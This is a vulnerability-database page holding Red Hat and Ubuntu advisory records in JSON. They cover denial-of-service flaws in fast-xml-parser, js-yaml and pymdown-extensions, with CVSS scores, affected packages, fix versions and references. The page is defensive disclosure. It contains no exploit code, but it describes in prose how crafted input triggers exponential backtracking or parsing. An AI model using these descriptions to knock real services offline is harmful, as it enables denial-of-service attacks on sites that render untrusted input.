"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-73569",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73569"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-73569",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73569"
},
{
"category": "external",
"summary": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/4e546e03987662de5495d050b5fba26bea65383f",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/4e546e03987662de5495d050b5fba26bea65383f"
},
{
"category": "external",
"summary": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.10.1",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.10.1"
},
{
"category": "external",
"summary": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-8r6m-32jq-jx6q",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-8r6m-32jq-jx6q"
}
],
"release_date": "2026-08-13T17:45:25.045000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-09-09T13:39:51+00:00",
"details": "For more about Ansible Portal Installer Bootc, see References links",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "fast-xml-parser: fast-xml-parser: Denial of Service via repeated DOCTYPE declarations"
},
{
"cve": "CVE-2026-73643",
"cwe": {
"id": "CWE-1333",
"name": "Inefficient Regular Expression Complexity"
},
"discovery_date": "2026-08-13T18:11:25.926202+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2515531"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in js-yaml, a JavaScript YAML parser. A remote attacker could exploit this vulnerability by providing specially crafted YAML input containing nested flow collections. This can lead to exponential parsing time when the application processes untrusted input, consuming excessive CPU resources. This resource exhaustion can block the Node.js event loop and cause a Denial of Service (DoS) for the affected process.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "js-yaml: js-yaml: Denial of Service via exponential parsing in flow collections",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important denial-of-service flaw in the `js-yaml` library, where processing specially crafted YAML input can lead to exponential parsing time. This can cause applications utilizing affected versions of `js-yaml` within Red Hat products to consume excessive CPU resources, potentially blocking the Node.js event loop and leading to service unavailability.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-73643"
},
{
"category": "external",
"summary": "RHBZ#2515531",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515531"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-73643",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73643"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-73643",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73643"
},
{
"category": "external",
"summary": "https://github.com/nodeca/js-yaml/commit/3e5240f9cbe645ce5afb58524954a13c8539c853",
"url": "https://github.com/nodeca/js-yaml/commit/3e5240f9cbe645ce5afb58524954a13c8539c853"
},
{
"category": "external",
"summary": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-pm4m-ph32-ghv5",
"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-pm4m-ph32-ghv5"
}
],
"release_date": "2026-08-13T17:47:30.404000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-09-09T13:39:51+00:00",
"details": "For more about Ansible Portal Installer Bootc, see References links",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:66003"
},
{
"category": "workaround",
"details": "To mitigate this issue, restrict applications from processing untrusted YAML input with affected versions of the `js-yaml` library. Implement strict input validation to ensure that only trusted and well-formed YAML data is processed. If the application is exposed to external, untrusted sources, consider isolating the application or implementing additional resource limits to prevent complete service disruption.",
"product_ids": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Ansible Automation Platform 2.2:registry.redhat.io/ansible-automation-platform/bootc-automation-portal-rhel9@sha256:c2f8448f0a7a2f3fbbb67befa82c1034fa1ce889ba16a913161d33ebd52017e6_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "js-yaml: js-yaml: Denial of Service via exponential parsing in flow collections"
}
]
}
ubuntu-cve-2026-67422
Vulnerability from osv_ubuntu
pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension's default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.
{
"affected": [
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-pymdownx",
"binary_version": "9.5-5"
}
]
},
"package": {
"ecosystem": "Ubuntu:24.04:LTS",
"name": "pymdown-extensions",
"purl": "pkg:deb/ubuntu/pymdown-extensions@9.5-5?arch=source\u0026distro=noble"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"9.5-2",
"9.5-4",
"9.5-5"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-pymdownx",
"binary_version": "10.19.1-3"
}
]
},
"package": {
"ecosystem": "Ubuntu:26.04:LTS",
"name": "pymdown-extensions",
"purl": "pkg:deb/ubuntu/pymdown-extensions@10.19.1-3?arch=source\u0026distro=resolute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"10.13-3",
"10.13-4",
"10.19.1-3"
]
}
],
"aliases": [],
"details": "pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension\u0027s default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.",
"id": "UBUNTU-CVE-2026-67422",
"modified": "2026-08-24T23:59:58Z",
"published": "2026-08-06T22:18:00Z",
"references": [
{
"type": "REPORT",
"url": "https://ubuntu.com/security/CVE-2026-67422"
},
{
"type": "REPORT",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-67422"
},
{
"type": "REPORT",
"url": "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b"
},
{
"type": "REPORT",
"url": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw"
}
],
"related": [],
"schema_version": "1.7.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "medium",
"type": "Ubuntu"
}
],
"upstream": [
"CVE-2026-67422"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.